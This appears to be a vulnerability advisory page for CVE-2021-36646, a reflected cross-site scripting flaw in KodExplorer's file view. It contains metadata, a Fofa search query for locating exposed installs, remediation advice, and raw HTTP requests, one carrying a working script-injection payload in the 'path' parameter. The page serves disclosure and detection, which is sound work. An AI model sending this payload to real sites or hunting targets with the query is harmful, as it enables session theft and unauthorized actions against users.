| Title | KodExplorer - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via XSS in the path parameter, potentially stealing user session cookies or performing unauthorized actions. |
| Remediation | Upgrade to the latest version of KodExplorer that addresses this vulnerability. Implement proper input validation and output encoding for user-supplied data. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01158 |
| CVE ID | CVE-2021-36646 |
| CWE ID | CWE-79 |
| Fofa Query | app="Powered-by-KodExplorer" |
| Tags | cve cve2021 xss kodexplorer vuln |
KodExplorer is susceptible to a reflected cross-site scripting (XSS) vulnerability in the file view functionality.The vulnerability exists in app/template/api/view.html where user-supplied input in the ‘path’ parameter is directly echoed without proper sanitization.This allows attackers to inject malicious JavaScript code that executes in the context of the user’s browser.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.12
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /index.php?explorer/fileView&path=</script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36646.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-36646.pcap
N/AN/A